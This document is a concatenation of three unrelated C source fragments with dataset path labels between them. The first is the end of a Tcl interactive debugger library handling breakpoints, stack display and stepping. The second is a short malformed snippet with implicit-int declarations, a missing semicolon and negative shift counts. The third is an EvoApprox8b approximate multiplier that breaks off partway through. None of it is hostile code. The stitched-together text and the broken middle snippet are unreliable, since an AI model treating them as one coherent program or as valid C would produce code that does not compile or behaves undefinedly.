print(interp,"%d ",b->line);
}
if (b->expr)
print(interp,"if {%s} ",b->expr);
if (b->cmd)
print(interp,"then {%s}",b->cmd);
print(interp,"\n");
}
static void
save_re_matches(interp,re)
Tcl_Interp *interp;
regexp *re;
{
int i;
char name[20];
char match_char;/* place to hold char temporarily */
/* uprooted by a NULL */
for (i=0;i<NSUBEXP;i++) {
if (re->startp[i] == 0) break;
sprintf(name,"%d",i);
/* temporarily null-terminate in middle */
match_char = *re->endp[i];
*re->endp[i] = 0;
Tcl_SetVar2(interp,Dbg_VarName,name,re->startp[i],0);
/* undo temporary null-terminator */
*re->endp[i] = match_char;
}
}
/* return 1 to break, 0 to continue */
static int
breakpoint_test(interp,cmd,bp)
Tcl_Interp *interp;
char *cmd; /* command about to be executed */
struct breakpoint *bp; /* breakpoint to test */
{
if (bp->re) {
#if TCL_MAJOR_VERSION == 6
if (0 == regexec(bp->re,cmd)) return 0;
#else
if (0 == TclRegExec(bp->re,cmd,cmd)) return 0;
#endif
save_re_matches(interp,bp->re);
} else if (bp->pat) {
if (0 == Tcl_StringMatch(cmd,bp->pat)) return 0;
} else if (bp->line != NO_LINE) {
/* not yet implemented - awaiting support from Tcl */
return 0;
}
if (bp->expr) {
int value;
/* ignore errors, since they are likely due to */
/* simply being out of scope a lot */
if (TCL_OK != Tcl_ExprBoolean(interp,bp->expr,&value)) return 0;
}
if (bp->cmd) {
#if TCL_MAJOR_VERSION == 6
Tcl_Eval(interp,bp->cmd,0,(char **)0);
#else
Tcl_Eval(interp,bp->cmd);
#endif
} else {
breakpoint_print(interp,bp);
}
return 1;
}
static char *already_at_top_level = "already at top level";
/* similar to TclGetFrame but takes two frame ptrs and a direction.
If direction is up, search up stack from curFrame
If direction is down, simulate searching down stack by
seaching up stack from origFrame
*/
static
int
TclGetFrame2(interp, origFramePtr, string, framePtrPtr, dir)
Tcl_Interp *interp;
CallFrame *origFramePtr; /* frame that is true top-of-stack */
char *string; /* String describing frame. */
CallFrame **framePtrPtr; /* Store pointer to frame here (or NULL
* if global frame indicated). */
enum debug_cmd dir; /* look up or down the stack */
{
Interp *iPtr = (Interp *) interp;
int level, result;
CallFrame *framePtr; /* frame currently being searched */
CallFrame *curFramePtr = iPtr->varFramePtr;
/*
* Parse string to figure out which level number to go to.
*/
result = 1;
if (*string == '#') {
if (Tcl_GetInt(interp, string+1, &level) != TCL_OK) {
return TCL_ERROR;
}
if (level < 0) {
levelError:
Tcl_AppendResult(interp, "bad level \"", string, "\"",
(char *) NULL);
return TCL_ERROR;
}
framePtr = origFramePtr; /* start search here */
} else if (isdigit(*string)) {
if (Tcl_GetInt(interp, string, &level) != TCL_OK) {
return TCL_ERROR;
}
if (dir == up) {
if (curFramePtr == 0) {
Tcl_SetResult(interp,already_at_top_level,TCL_STATIC);
return TCL_ERROR;
}
level = curFramePtr->level - level;
framePtr = curFramePtr; /* start search here */
} else {
if (curFramePtr != 0) {
level = curFramePtr->level + level;
}
framePtr = origFramePtr; /* start search here */
}
} else {
level = curFramePtr->level - 1;
result = 0;
}
/*
* Figure out which frame to use.
*/
if (level == 0) {
framePtr = NULL;
} else {
for (;framePtr != NULL; framePtr = framePtr->callerVarPtr) {
if (framePtr->level == level) {
break;
}
}
if (framePtr == NULL) {
goto levelError;
}
}
*framePtrPtr = framePtr;
return result;
}
static char *printify(s)
char *s;
{
static int destlen = 0;
char *d; /* ptr into dest */
unsigned int need;
static char buf_basic[DEFAULT_WIDTH+1];
static char *dest = buf_basic;
if (s == 0) return("<null>");
/* worst case is every character takes 4 to printify */
need = strlen(s)*4;
if (need > destlen) {
if (dest && (dest != buf_basic)) ckfree(dest);
dest = (char *)ckalloc(need+1);
destlen = need;
}
for (d = dest;*s;s++) {
/* since we check at worst by every 4 bytes, play */
/* conservative and subtract 4 from the limit */
if (d-dest > destlen-4) break;
if (*s == '\b') {
strcpy(d,"\\b"); d += 2;
} else if (*s == '\f') {
strcpy(d,"\\f"); d += 2;
} else if (*s == '\v') {
strcpy(d,"\\v"); d += 2;
} else if (*s == '\r') {
strcpy(d,"\\r"); d += 2;
} else if (*s == '\n') {
strcpy(d,"\\n"); d += 2;
} else if (*s == '\t') {
strcpy(d,"\\t"); d += 2;
} else if ((unsigned)*s < 0x20) { /* unsigned strips parity */
sprintf(d,"\\%03o",*s); d += 4;
} else if (*s == 0177) {
strcpy(d,"\\177"); d += 4;
} else {
*d = *s; d += 1;
}
}
*d = '\0';
return(dest);
}
static
char *
print_argv(interp,argc,argv)
Tcl_Interp *interp;
int argc;
char *argv[];
{
static int buf_width_max = DEFAULT_WIDTH;
static char buf_basic[DEFAULT_WIDTH+1]; /* basic buffer */
static char *buf = buf_basic;
int space; /* space remaining in buf */
int len;
char *bufp;
int proc; /* if current command is "proc" */
int arg_index;
if (buf_width > buf_width_max) {
if (buf && (buf != buf_basic)) ckfree(buf);
buf = (char *)ckalloc(buf_width + 1);
buf_width_max = buf_width;
}
proc = (0 == strcmp("proc",argv[0]));
sprintf(buf,"%.*s",buf_width,argv[0]);
len = strlen(buf);
space = buf_width - len;
bufp = buf + len;
argc--; argv++;
arg_index = 1;
while (argc && (space > 0)) {
char *elementPtr;
char *nextPtr;
int wrap;
/* braces/quotes have been stripped off arguments */
/* so put them back. We wrap everything except lists */
/* with one argument. One exception is to always wrap */
/* proc's 2nd arg (the arg list), since people are */
/* used to always seeing it this way. */
if (proc && (arg_index > 1)) wrap = TRUE;
else {
(void) TclFindElement(interp,*argv,&elementPtr,
&nextPtr,(int *)0,(int *)0);
if (*elementPtr == '\0') wrap = TRUE;
else if (*nextPtr == '\0') wrap = FALSE;
else wrap = TRUE;
}
/* wrap lists (or null) in braces */
if (wrap) {
sprintf(bufp," {%.*s}",space-3,*argv);
} else {
sprintf(bufp," %.*s",space-1,*argv);
}
len = strlen(buf);
space = buf_width - len;
bufp = buf + len;
argc--; argv++;
arg_index++;
}
if (compress) {
/* this copies from our static buf to printify's static buf */
/* and back to our static buf */
strncpy(buf,printify(buf),buf_width);
}
/* usually but not always right, but assume truncation if buffer is */
/* full. this avoids tiny but odd-looking problem of appending "}" */
/* to truncated lists during {}-wrapping earlier */
if (strlen(buf) == buf_width) {
buf[buf_width-1] = buf[buf_width-2] = buf[buf_width-3] = '.';
}
return(buf);
}
static
void
PrintStackBelow(interp,curf,viewf)
Tcl_Interp *interp;
CallFrame *curf; /* current FramePtr */
CallFrame *viewf; /* view FramePtr */
{
char ptr; /* graphically indicate where we are in the stack */
/* indicate where we are in the stack */
ptr = ((curf == viewf)?'*':' ');
if (curf == 0) {
print(interp,"%c0: %s\n",
ptr,print_argv(interp,main_argc,main_argv));
} else {
PrintStackBelow(interp,curf->callerVarPtr,viewf);
print(interp,"%c%d: %s\n",ptr,curf->level,
print_argv(interp,curf->argc,curf->argv));
}
}
static
void
PrintStack(interp,curf,viewf,argc,argv,level)
Tcl_Interp *interp;
CallFrame *curf; /* current FramePtr */
CallFrame *viewf; /* view FramePtr */
int argc;
char *argv[];
char *level;
{
PrintStackBelow(interp,curf,viewf);
print(interp," %s: %s\n",level,print_argv(interp,argc,argv));
}
/* return 0 if goal matches current frame or goal can't be found */
/* anywere in frame stack */
/* else return 1 */
/* This catches things like a proc called from a Tcl_Eval which in */
/* turn was not called from a proc but some builtin such as source */
/* or Tcl_Eval. These builtin calls to Tcl_Eval lose any knowledge */
/* the FramePtr from the proc, so we have to search the entire */
/* stack frame to see if it's still there. */
static int
GoalFrame(goal,iptr)
CallFrame *goal;
Interp *iptr;
{
CallFrame *cf = iptr->varFramePtr;
/* if at current level, return success immediately */
if (goal == cf) return 0;
while (cf) {
cf = cf->callerVarPtr;
if (goal == cf) {
/* found, but since it's above us, fail */
return 1;
}
}
return 0;
}
/* debugger's trace handler */
/*ARGSUSED*/
static void
debugger_trap(clientData,interp,level,command,cmdProc,cmdClientData,argc,argv)
ClientData clientData; /* not used */
Tcl_Interp *interp;
int level; /* positive number if called by Tcl, -1 if */
/* called by Dbg_On in which case we don't */
/* know the level */
char *command;
int (*cmdProc)(); /* not used */
ClientData cmdClientData;
int argc;
char *argv[];
{
char level_text[6]; /* textual representation of level */
int break_status;
Interp *iPtr = (Interp *)interp;
CallFrame *trueFramePtr; /* where the pc is */
CallFrame *viewFramePtr; /* where up/down are */
int print_command_first_time = TRUE;
static int debug_suspended = FALSE;
struct breakpoint *b;
/* skip commands that are invoked interactively */
if (debug_suspended) return;
/* skip debugger commands */
if (argv[0][1] == '\0') {
switch (argv[0][0]) {
case 'n':
case 's':
case 'c':
case 'r':
case 'w':
case 'b':
case 'u':
case 'd': return;
}
}
if ((*ignoreproc)(interp,argv[0])) return;
/* if level is unknown, use "?" */
sprintf(level_text,(level == -1)?"?":"%d",level);
/* save so we can restore later */
trueFramePtr = iPtr->varFramePtr;
/* test all breakpoints to see if we should break */
debug_suspended = TRUE;
/* if any successful breakpoints, start interactor */
debug_new_action = FALSE; /* reset strobe */
break_status = FALSE; /* no successful breakpoints yet */
for (b = break_base;b;b=b->next) {
break_status |= breakpoint_test(interp,command,b);
}
if (break_status) {
if (!debug_new_action) goto start_interact;
/* if s or n triggered by breakpoint, make "s 1" */
/* (and so on) refer to next command, not this one */
/* step_count++;*/
goto end_interact;
}
switch (debug_cmd) {
case cont:
goto finish;
case step:
step_count--;
if (step_count > 0) goto finish;
goto start_interact;
case next:
/* check if we are back at the same level where the next */
/* command was issued. Also test */
/* against all FramePtrs and if no match, assume that */
/* we've missed a return, and so we should break */
/* if (goalFramePtr != iPtr->varFramePtr) goto finish;*/
if (GoalFrame(goalFramePtr,iPtr)) goto finish;
step_count--;
if (step_count > 0) goto finish;
goto start_interact;
case Next:
/* check if we are back at the same level where the next */
/* command was issued. */
if (goalNumLevel < iPtr->numLevels) goto finish;
step_count--;
if (step_count > 0) goto finish;
goto start_interact;
case ret:
/* same comment as in "case next" */
if (goalFramePtr != iPtr->varFramePtr) goto finish;
goto start_interact;
}
start_interact:
if (print_command_first_time) {
print(interp,"%s: %s\n",
level_text,print_argv(interp,1,&command));
print_command_first_time = FALSE;
}
/* since user is typing a command, don't interrupt it immediately */
debug_cmd = cont;
debug_suspended = FALSE;
/* interactor won't return until user gives a debugger cmd */
(*interactor)(interp);
end_interact:
/* save this so it can be restored after "w" command */
viewFramePtr = iPtr->varFramePtr;
if (debug_cmd == up || debug_cmd == down) {
/* calculate new frame */
if (-1 == TclGetFrame2(interp,trueFramePtr,viewFrameName,
&iPtr->varFramePtr,debug_cmd)) {
print(interp,"%s\n",interp->result);
Tcl_ResetResult(interp);
}
goto start_interact;
}
/* reset view back to normal */
iPtr->varFramePtr = trueFramePtr;
/* allow trapping */
debug_suspended = FALSE;
switch (debug_cmd) {
case cont:
case step:
goto finish;
case next:
goalFramePtr = iPtr->varFramePtr;
goto finish;
case Next:
goalNumLevel = iPtr->numLevels;
goto finish;
case ret:
goalFramePtr = iPtr->varFramePtr;
if (goalFramePtr == 0) {
print(interp,"nowhere to return to\n");
break;
}
goalFramePtr = goalFramePtr->callerVarPtr;
goto finish;
case where:
PrintStack(interp,iPtr->varFramePtr,viewFramePtr,argc,argv,level_text);
break;
}
/* restore view and restart interactor */
iPtr->varFramePtr = viewFramePtr;
goto start_interact;
finish:
debug_suspended = FALSE;
}
/*ARGSUSED*/
static
int
cmdNext(clientData, interp, argc, argv)
ClientData clientData;
Tcl_Interp *interp;
int argc;
char **argv;
{
debug_new_action = TRUE;
debug_cmd = *(enum debug_cmd *)clientData;
last_action_cmd = debug_cmd;
step_count = (argc == 1)?1:atoi(argv[1]);
last_step_count = step_count;
return(TCL_RETURN);
}
/*ARGSUSED*/
static
int
cmdDir(clientData, interp, argc, argv)
ClientData clientData;
Tcl_Interp *interp;
int argc;
char **argv;
{
debug_cmd = *(enum debug_cmd *)clientData;
if (argc == 1) argv[1] = "1";
strncpy(viewFrameName,argv[1],FRAMENAMELEN);
return TCL_RETURN;
}
/*ARGSUSED*/
static
int
cmdSimple(clientData, interp, argc, argv)
ClientData clientData;
Tcl_Interp *interp;
int argc;
char **argv;
{
debug_new_action = TRUE;
debug_cmd = *(enum debug_cmd *)clientData;
last_action_cmd = debug_cmd;
return TCL_RETURN;
}
static
void
breakpoint_destroy(b)
struct breakpoint *b;
{
if (b->file) ckfree(b->file);
if (b->pat) ckfree(b->pat);
if (b->re) ckfree((char *)b->re);
if (b->cmd) ckfree(b->cmd);
/* unlink from chain */
if ((b->previous == 0) && (b->next == 0)) {
break_base = 0;
} else if (b->previous == 0) {
break_base = b->next;
b->next->previous = 0;
} else if (b->next == 0) {
b->previous->next = 0;
} else {
b->previous->next = b->next;
b->next->previous = b->previous;
}
ckfree((char *)b);
}
static void
savestr(straddr,str)
char **straddr;
char *str;
{
*straddr = ckalloc(strlen(str)+1);
strcpy(*straddr,str);
}
/* return 1 if a string is substring of a flag */
static int
flageq(flag,string,minlen)
char *flag;
char *string;
int minlen; /* at least this many chars must match */
{
for (;*flag;flag++,string++,minlen--) {
if (*string == '\0') break;
if (*string != *flag) return 0;
}
if (*string == '\0' && minlen <= 0) return 1;
return 0;
}
/*ARGSUSED*/
static
int
cmdWhere(clientData, interp, argc, argv)
ClientData clientData;
Tcl_Interp *interp;
int argc;
char **argv;
{
if (argc == 1) {
debug_cmd = where;
return TCL_RETURN;
}
argc--; argv++;
while (argc) {
if (flageq("-width",*argv,2)) {
argc--; argv++;
if (*argv) {
buf_width = atoi(*argv);
argc--; argv++;
} else print(interp,"%d\n",buf_width);
} else if (flageq("-compress",*argv,2)) {
argc--; argv++;
if (*argv) {
compress = atoi(*argv);
argc--; argv++;
} else print(interp,"%d\n",compress);
} else {
print(interp,"usage: w [-width #] [-compress 0|1]\n");
return TCL_ERROR;
}
}
return TCL_OK;
}
#define breakpoint_fail(msg) {error_msg = msg; goto break_fail;}
/*ARGSUSED*/
static
int
cmdBreak(clientData, interp, argc, argv)
ClientData clientData;
Tcl_Interp *interp;
int argc;
char **argv;
{
struct breakpoint *b;
char *error_msg;
argc--; argv++;
if (argc < 1) {
for (b = break_base;b;b=b->next) breakpoint_print(interp,b);
return(TCL_OK);
}
if (argv[0][0] == '-') {
if (argv[0][1] == '\0') {
while (break_base) {
breakpoint_destroy(break_base);
}
breakpoint_max_id = 0;
return(TCL_OK);
} else if (isdigit(argv[0][1])) {
int id = atoi(argv[0]+1);
for (b = break_base;b;b=b->next) {
if (b->id == id) {
breakpoint_destroy(b);
if (!break_base) breakpoint_max_id = 0;
return(TCL_OK);
}
}
Tcl_SetResult(interp,"no such breakpoint",TCL_STATIC);
return(TCL_ERROR);
}
}
b = breakpoint_new();
if (flageq("-regexp",argv[0],2)) {
argc--; argv++;
#if TCL_MAJOR_VERSION == 6
if ((argc > 0) && (b->re = regcomp(argv[0]))) {
#else
if ((argc > 0) && (b->re = TclRegComp(argv[0]))) {
#endif
savestr(&b->pat,argv[0]);
argc--; argv++;
} else {
breakpoint_fail("bad regular expression")
}
} else if (flageq("-glob",argv[0],2)) {
argc--; argv++;
if (argc > 0) {
savestr(&b->pat,argv[0]);
argc--; argv++;
} else {
breakpoint_fail("no pattern?");
}
} else if ((!(flageq("if",*argv,1)) && (!(flageq("then",*argv,1))))) {
/* look for [file:]line */
char *colon;
char *linep; /* pointer to beginning of line number */
colon = strchr(argv[0],':');
if (colon) {
*colon = '\0';
savestr(&b->file,argv[0]);
*colon = ':';
linep = colon + 1;
} else {
linep = argv[0];
/* get file from current scope */
/* savestr(&b->file, ?); */
}
if (TCL_OK == Tcl_GetInt(interp,linep,&b->line)) {
argc--; argv++;
print(interp,"setting breakpoints by line number is currently unimplemented - use patterns or expressions\n");
} else {
/* not an int? - unwind & assume it is an expression */
if (b->file) ckfree(b->file);
}
}
if (argc > 0) {
int do_if = FALSE;
if (flageq("if",argv[0],1)) {
argc--; argv++;
do_if = TRUE;
} else if (!flageq("then",argv[0],1)) {
do_if = TRUE;
}
if (do_if) {
if (argc < 1) {
breakpoint_fail("if what");
}
savestr(&b->expr,argv[0]);
argc--; argv++;
}
}
if (argc > 0) {
if (flageq("then",argv[0],1)) {
argc--; argv++;
}
if (argc < 1) {
breakpoint_fail("then what?");
}
savestr(&b->cmd,argv[0]);
}
sprintf(interp->result,"%d",b->id);
return(TCL_OK);
break_fail:
breakpoint_destroy(b);
Tcl_SetResult(interp,error_msg,TCL_STATIC);
return(TCL_ERROR);
}
static char *help[] = {
"s [#] step into procedure",
"n [#] step over procedure",
"N [#] step over procedures, commands, and arguments",
"c continue",
"r continue until return to caller",
"u [#] move scope up level",
"d [#] move scope down level",
" go to absolute frame if # is prefaced by \"#\"",
"w show stack (\"where\")",
"w -w [#] show/set width",
"w -c [0|1] show/set compress",
"b show breakpoints",
"b [-r regexp-pattern] [if expr] [then command]",
"b [-g glob-pattern] [if expr] [then command]",
"b [[file:]#] [if expr] [then command]",
" if pattern given, break if command resembles pattern",
" if # given, break on line #",
" if expr given, break if expr true",
" if command given, execute command at breakpoint",
"b -# delete breakpoint",
"b - delete all breakpoints",
0};
/*ARGSUSED*/
static
int
cmdHelp(clientData, interp, argc, argv)
ClientData clientData;
Tcl_Interp *interp;
int argc;
char **argv;
{
char **hp;
for (hp=help;*hp;hp++) {
print(interp,"%s\n",*hp);
}
return(TCL_OK);
}
/* occasionally, we print things larger buf_max but not by much */
/* see print statements in PrintStack routines for examples */
#define PAD 80
static void
print(va_alist)
va_dcl
{
Tcl_Interp *interp;
char *fmt;
va_list args;
va_start(args);
interp = va_arg(args,Tcl_Interp *);
fmt = va_arg(args,char *);
if (!printproc) vprintf(fmt,args);
else {
static int buf_width_max = DEFAULT_WIDTH+PAD;
static char buf_basic[DEFAULT_WIDTH+PAD+1];
static char *buf = buf_basic;
if (buf_width+PAD > buf_width_max) {
if (buf && (buf != buf_basic)) ckfree(buf);
buf = (char *)ckalloc(buf_width+PAD+1);
buf_width_max = buf_width+PAD;
}
vsprintf(buf,fmt,args);
(*printproc)(interp,buf);
}
va_end(args);
}
/*ARGSUSED*/
Dbg_InterProc *
Dbg_Interactor(interp,inter_proc)
Tcl_Interp *interp;
Dbg_InterProc *inter_proc;
{
Dbg_InterProc *tmp = interactor;
interactor = (inter_proc?inter_proc:simple_interactor);
return tmp;
}
/*ARGSUSED*/
Dbg_IgnoreFuncsProc *
Dbg_IgnoreFuncs(interp,proc)
Tcl_Interp *interp;
Dbg_IgnoreFuncsProc *proc;
{
Dbg_IgnoreFuncsProc *tmp = ignoreproc;
ignoreproc = (proc?proc:zero);
return tmp;
}
/*ARGSUSED*/
Dbg_OutputProc *
Dbg_Output(interp,proc)
Tcl_Interp *interp;
Dbg_OutputProc *proc;
{
Dbg_OutputProc *tmp = printproc;
printproc = (proc?proc:0);
return tmp;
}
/*ARGSUSED*/
int
Dbg_Active(interp)
Tcl_Interp *interp;
{
return debugger_active;
}
char **
Dbg_ArgcArgv(argc,argv,copy)
int argc;
char *argv[];
int copy;
{
char **alloc;
main_argc = argc;
if (!copy) {
main_argv = argv;
alloc = 0;
} else {
main_argv = alloc = (char **)ckalloc((argc+1)*sizeof(char *));
while (argc-- >= 0) {
*main_argv++ = *argv++;
}
main_argv = alloc;
}
return alloc;
}
static struct cmd_list {
char *cmdname;
Tcl_CmdProc *cmdproc;
enum debug_cmd cmdtype;
} cmd_list[] = {
{"n", cmdNext, next},
{"s", cmdNext, step},
{"N", cmdNext, Next},
{"c", cmdSimple, cont},
{"r", cmdSimple, ret},
{"w", cmdWhere, none},
{"b", cmdBreak, none},
{"u", cmdDir, up},
{"d", cmdDir, down},
{"h", cmdHelp, none},
{0}
};
/* this may seem excessive, but this avoids the explicit test for non-zero */
/* in the caller, and chances are that that test will always be pointless */
/*ARGSUSED*/
static int zero(interp,string)
Tcl_Interp *interp;
char *string;
{
return 0;
}
static int
simple_interactor(interp)
Tcl_Interp *interp;
{
int rc;
char *ccmd; /* pointer to complete command */
char line[BUFSIZ+1]; /* space for partial command */
int newcmd = TRUE;
Interp *iPtr = (Interp *)interp;
#if TCL_MAJOR_VERSION == 6
Tcl_CmdBuf buffer;
if (!(buffer = Tcl_CreateCmdBuf())) {
Tcl_AppendElement(interp,"no more space for cmd buffer",0);
return(TCL_ERROR);
}
#else
Tcl_DString dstring;
Tcl_DStringInit(&dstring);
#endif
newcmd = TRUE;
while (TRUE) {
struct cmd_list *c;
if (newcmd) {
print(interp,"dbg%d.%d> ",iPtr->numLevels,iPtr->curEventNum+1);
} else {
print(interp,"dbg+> ");
}
fflush(stdout);
if (0 >= (rc = read(0,line,BUFSIZ))) {
if (!newcmd) line[0] = 0;
else exit(0);
} else line[rc] = '\0';
#if TCL_MAJOR_VERSION == 6
if (NULL == (ccmd = Tcl_AssembleCmd(buffer,line))) {
#else
ccmd = Tcl_DStringAppend(&dstring,line,rc);
if (!Tcl_CommandComplete(ccmd)) {
#endif
newcmd = FALSE;
continue; /* continue collecting command */
}
newcmd = TRUE;
/* if user pressed return with no cmd, use previous one */
if ((ccmd[0] == '\n' || ccmd[0] == '\r') && ccmd[1] == '\0') {
/* this loop is guaranteed to exit through break */
for (c = cmd_list;c->cmdname;c++) {
if (c->cmdtype == last_action_cmd) break;
}
/* recreate textual version of command */
Tcl_DStringAppend(&dstring,c->cmdname,-1);
if (c->cmdtype == step ||
c->cmdtype == next ||
c->cmdtype == Next) {
char num[10];
sprintf(num," %d",last_step_count);
Tcl_DStringAppend(&dstring,num,-1);
}
}
rc = Tcl_RecordAndEval(interp,ccmd,0);
#if TCL_MAJOR_VERSION != 6
Tcl_DStringFree(&dstring);
#endif
switch (rc) {
case TCL_OK:
if (*interp->result != 0)
print(interp,"%s\n",interp->result);
continue;
case TCL_ERROR:
print(interp,"%s\n",Tcl_GetVar(interp,"errorInfo",TCL_GLOBAL_ONLY));
/* since user is typing by hand, we expect lots
of errors, and want to give another chance */
continue;
case TCL_BREAK:
case TCL_CONTINUE:
#define finish(x) {rc = x; goto done;}
finish(rc);
case TCL_RETURN:
finish(TCL_OK);
default:
/* note that ccmd has trailing newline */
print(interp,"error %d: %s\n",rc,ccmd);
continue;
}
}
/* cannot fall thru here, must jump to label */
done:
#if TCL_MAJOR_VERSION == 6
/* currently, code guarantees buffer is valid */
Tcl_DeleteCmdBuf(buffer);
#else
Tcl_DStringFree(&dstring);
#endif
return(rc);
}
static char init_auto_path[] = "lappend auto_path $dbg_library";
static void
init_debugger(interp)
Tcl_Interp *interp;
{
struct cmd_list *c;
for (c = cmd_list;c->cmdname;c++) {
Tcl_CreateCommand(interp,c->cmdname,c->cmdproc,
(ClientData)&c->cmdtype,(Tcl_CmdDeleteProc *)0);
}
debug_handle = Tcl_CreateTrace(interp,
10000,debugger_trap,(ClientData)0);
debugger_active = TRUE;
Tcl_SetVar2(interp,Dbg_VarName,"active","1",0);
#ifdef DBG_SCRIPT_DIR
Tcl_SetVar(interp,"dbg_library",DBG_SCRIPT_DIR,0);
#endif
Tcl_Eval(interp,init_auto_path);
}
/* allows any other part of the application to jump to the debugger */
/*ARGSUSED*/
void
Dbg_On(interp,immediate)
Tcl_Interp *interp;
int immediate; /* if true, stop immediately */
/* should only be used in safe places */
/* i.e., when Tcl_Eval can be called */
{
if (!debugger_active) init_debugger(interp);
debug_cmd = step;
step_count = 1;
if (immediate) {
static char *fake_cmd = "--interrupted-- (command_unknown)";
debugger_trap((ClientData)0,interp,-1,fake_cmd,(int (*)())0,
(ClientData)0,1,&fake_cmd);
/* (*interactor)(interp);*/
}
}
void
Dbg_Off(interp)
Tcl_Interp *interp;
{
struct cmd_list *c;
if (!debugger_active) return;
for (c = cmd_list;c->cmdname;c++) {
Tcl_DeleteCommand(interp,c->cmdname);
}
Tcl_DeleteTrace(interp,debug_handle);
debugger_active = FALSE;
Tcl_UnsetVar(interp,Dbg_VarName,TCL_GLOBAL_ONLY);
}
#endif
|
the_stack_data/89199027.c | typedef a;
struct b {
int *c;
int *d;
int *e
};
*f;
g(struct b *h) {
a j[20], k[20], l[20];
int i = 0;
for (; i < 20;)
i = h->d[i];
m(j);
i = 0;
for (; i < 20; i++)
k[i] <<= 1;
n();
i = 0;
for (; i < 20; i++)
j[i] <<= 1;
n();
i = 0;
for (; i < 20; i++)
h->d[i] += f[i] << -j[i];
i = 0;
for (; i < 20; i++)
h->c[i] = l[i] << 1;
i = 0;
for (; i < 20; i++)
j[i] += f[i] << -h->d[i];
n();
i = 0;
for (; i < 20; i++)
h->e[i] += f[i] << -l[i] << 1;
}
|
the_stack_data/165768924.c | /***
* This code is a part of EvoApproxLib library (ehw.fit.vutbr.cz/approxlib) distributed under The MIT License.
* When used, please cite the following article(s): V. Mrazek, R. Hrbacek, Z. Vasicek and L. Sekanina, "EvoApprox8b: Library of approximate adders and multipliers for circuit design and benchmarking of approximation methods". Design, Automation & Test in Europe Conference & Exhibition (DATE), 2017, Lausanne, 2017, pp. 258-261. doi: 10.23919/DATE.2017.7926993
* This file contains a circuit from evoapprox8b dataset. Note that a new version of library was already published.
***/
#include <stdint.h>
#include <stdlib.h>
/// Approximate function mul8_124
/// Library = EvoApprox8b
/// Circuit = mul8_124
/// Area (180) = 5519
/// Delay (180) = 4.170
/// Power (180) = 2498.40
/// Area (45) = 403
/// Delay (45) = 1.520
/// Power (45) = 215.60
/// Nodes = 99
/// HD = 297226
/// MAE = 154.67703
/// MSE = 42099.94531
/// MRE = 4.28 %
/// WCE = 1101
/// WCRE = 106 %
/// EP = 97.9 %
uint16_t mul8_124(uint8_t a, uint8_t b)
{
uint16_t c = 0;
uint8_t n0 = (a >> 0) & 0x1;
uint8_t n2 = (a >> 1) & 0x1;
uint8_t n4 = (a >> 2) & 0x1;
uint8_t n6 = (a >> 3) & 0x1;
uint8_t n8 = (a >> 4) & 0x1;
uint8_t n10 = (a >> 5) & 0x1;
uint8_t n12 = (a >> 6) & 0x1;
uint8_t n14 = (a >> 7) & 0x1;
uint8_t n18 = (b >> 1) & 0x1;
uint8_t n20 = (b >> 2) & 0x1;
uint8_t n22 = (b >> 3) & 0x1;
uint8_t n24 = (b >> 4) & 0x1;
uint8_t n26 = (b >> 5) & 0x1;
uint8_t n28 = (b >> 6) & 0x1;
uint8_t n30 = (b >> 7) & 0x1;
uint8_t n32;
uint8_t n33;
uint8_t n34;
uint8_t n37;
uint8_t n38;
uint8_t n41;
uint8_t n49;
uint8_t n51;
uint8_t n54;
uint8_t n55;
uint8_t n63;
uint8_t n65;
uint8_t n72;
uint8_t n73;
uint8_t n78;
uint8_t n83;
uint8_t n86;
uint8_t n87;
uint8_t n89;
uint8_t n97;
uint8_t n99;
uint8_t n103;
uint8_t n105;
uint8_t n110;
uint8_t n117;
uint8_t n121;
uint8_t n123;
uint8_t n160;
uint8_t n175;
uint8_t n282;
uint8_t n398;
uint8_t n414;
uint8_t n415;
uint8_t n514;
uint8_t n532;
uint8_t n548;
uint8_t n648;
uint8_t n664;
uint8_t n665;
uint8_t n682;
uint8_t n683;
uint8_t n749;
uint8_t n764;
uint8_t n782;
uint8_t n798;
uint8_t n799;
uint8_t n814;
uint8_t n898;
uint8_t n914;
uint8_t n915;
uint8_t n932;
uint8_t n933;
uint8_t n948;
uint8_t n949;
uint8_t n987;
uint8_t n1014;
uint8_t n1032;
uint8_t n1048;
uint8_t n1064;
uint8_t n1082;
uint8_t n1142;
uint8_t n1148;
uint8_t n1149;
uint8_t n1164;
uint8_t n1165;
uint8_t n1182;
uint8_t n1183;
uint8_t n1198;
uint8_t n1199;
uint8_t n1214;
uint8_t n1215;
uint8_t n1264;
uint8_t n1282;
uint8_t n1294;
uint8_t n1298;
uint8_t n1314;
uint8_t n1332;
uint8_t n1348;
uint8_t n1399;
uint8_t n1414;
uint8_t n1415;
uint8_t n1432;
uint8_t n1433;
uint8_t n1448;
uint8_t n1449;
uint8_t n1464;
uint8_t n1465;
uint8_t n1482;
uint8_t n1483;
uint8_t n1532;
uint8_t n1548;
uint8_t n1564;
uint8_t n1582;
uint8_t n1596;
uint8_t n1598;
uint8_t n1614;
uint8_t n1632;
uint8_t n1638;
uint8_t n1664;
uint8_t n1665;
uint8_t n1682;
uint8_t n1683;
uint8_t n1698;
uint8_t n1699;
uint8_t n1714;
uint8_t n1715;
uint8_t n1732;
uint8_t n1733;
uint8_t n1748;
uint8_t n1749;
uint8_t n1764;
uint8_t n1782;
uint8_t n1798;
uint8_t n1814;
uint8_t n1832;
uint8_t n1848;
uint8_t n1864;
uint8_t n1882;
uint8_t n1898;
uint8_t n1914;
uint8_t n1915;
uint8_t n1932;
uint8_t n1933;
uint8_t n1948;
uint8_t n1949;
uint8_t n1964;
uint8_t n1965;
uint8_t n1982;
uint8_t n1983;
uint8_t n1998;
uint8_t n1999;
uint8_t n2014;
uint8_t n2015;
n32 = n18 & n12;
n33 = n18 & n12;
n34 = ~(n33 & n4 & n30);
n37 = ~(n18 | n34);
n38 = ~(n6 | n34);
n41 = n2 & n38;
n49 = ~(n18 & n14);
n51 = (n2 & n28) | (~n2 & n37);
n54 = ~n49;
n55 = ~n49;
n63 = n41 & n54;
n65 = n18;
n72 = ~n65;
n73 = ~n65;
n78 = ~n63;
n83 = n55 & n0;
n86 = ~(n55 & n0);
n87 = ~(n55 & n0);
n89 = n73 & n78;
n97 = ~(n78 & n87);
n99 = ~(n26 & n72);
n103 = n97;
n105 = ~(n97 & n86 & n22);
n110 = ~n105;
n117 = n26;
n121 = ~((n78 | n78) & n51);
n123 = ~n121;
n160 = ~n110;
n175 = ~(n117 | n160 | n97);
n282 = (n14 & n18) | (~n14 & n14);
n398 = n99 & n32;
n414 = n123 ^ n282;
n415 = n123 & n282;
n514 = n10 & n20;
n532 = n12 & n20;
n548 = n14 & n20;
n648 = n398 | n514;
n664 = n414 ^ n532;
n665 = n414 & n532;
